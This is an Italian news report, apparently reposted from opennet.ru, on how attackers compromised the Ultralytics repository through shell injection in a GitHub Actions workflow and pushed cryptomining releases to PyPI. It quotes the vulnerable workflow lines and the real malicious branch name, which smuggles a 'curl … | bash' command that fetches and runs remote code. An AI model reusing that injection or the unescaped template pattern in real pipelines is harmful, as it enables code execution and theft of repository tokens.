Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics

Gli aggressori sono riusciti a eseguire codice con i privilegi del gestore GitHub Actions nel repository della libreria Python Ultralytics, utilizzata per affrontare compiti di visione artificiale, come il riconoscimento di oggetti nelle immagini e la segmentazione delle immagini. Dopo aver ottenuto accesso al repository, gli attaccanti hanno pubblicato diverse nuove versioni di Ultralytics nel catalogo PyPI, incluse modifiche dannose per il mining di criptovalute. Nell'ultimo mese, la libreria Ultralytics è stata scaricata più di 6,4 milioni di volte dal catalogo PyPI.

Per compromettere il repository è stata sfruttata una vulnerabilità nel pacchetto ultralytics-actions, utilizzato per avviare automaticamente i gestori in seguito a specifiche azioni nel repository su GitHub, sfruttando il meccanismo GitHub Actions. Nel progetto ultralytics, il gestore vulnerabile era associato all'evento pull_request_target e veniva chiamato all'arrivo di nuove pull request. In particolare, per formattare il codice nelle pull request inviate, veniva richiamato il gestore format.yml e veniva eseguito il codice specificato nella sezione «run» del file action.yml, in cui erano presenti comandi shell con modelli di sostituzione: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

In questo modo, nei comandi shell veniva inserito senza opportuno escaping il nome del branch Git menzionato nella pull request. È notevole che ad agosto nel pacchetto ultralytics-actions fosse già stata corretta una vulnerabilità simile, relativa all'uso di un valore esterno nella funzione echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Per eseguire il proprio codice nel contesto del gestore di GitHub Actions, gli attaccanti hanno inviato una pull request al repository ultralytics, specificando come nome del ramo: openimbot:$(curl -sSfL raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh${IFS}|${IFS}bash)

Di conseguenza, quando è arrivata la pull request, la stringa specificata dagli attaccanti «$(…)» è stata inserita nel codice, che durante l'esecuzione del gestore ha portato all'esecuzione del codice «curl -sSfL raw.githubusercontent.com/.../file.sh | bash».

Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics

L'esecuzione di codice nel contesto di GitHub Actions può essere utilizzata per catturare il token di accesso al repository e altri dati sensibili. Non è ancora chiaro come gli attaccanti siano riusciti a formare il rilascio ottenendo la possibilità di eseguire il proprio codice in GitHub Actions; si ipotizza che ciò sia stato reso possibile dalla modifica del gestore publish.yml (dove gli attaccanti hanno rimosso il controllo dell'account autorizzato a pubblicare rilasci su PyPI) e dall'utilizzo della tecnica di avvelenamento della cache di compilazione di GitHub Actions per inserire i propri dati nel rilascio.

Il primo rilascio malevolo di Ultralytics 8.3.41 è stato pubblicato da malintenzionati nel catalogo PyPI il 4 dicembre alle 23:51 (MSK) ed è stato rimosso il giorno successivo alle 12:15. Alle 15:47 è stata pubblicata un'altra versione 8.3.42, che è stata rimossa alle 16:47. Pertanto, le versioni malevole sono state disponibili per il download per circa 13 ore (in un giorno PyPI registra circa 250.000 download della libreria ultralytics). Le versioni 8.3.41 e 8.3.42 contenevano codice che effettuava il download da un esterno server componente XMRig per il mining di criptovalute.

Gli sviluppatori del progetto hanno risolto il problema e hanno creato i rilasci correttivi 8.3.43 e 8.3.44, ma dopo due giorni è stata effettuata un'altra violazione, durante la quale malintenzionati hanno pubblicato oggi alle 04:41 e alle 05:27 (MSK) due ulteriori rilasci malevoli — 8.3.45 e 8.3.46, che includono codice diverso per il mining. Fino alla conclusione dell'indagine, si raccomanda agli utenti di ritardare l'installazione di nuove versioni e di fissare nella dipendenza il rilascio 8.3.44.

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster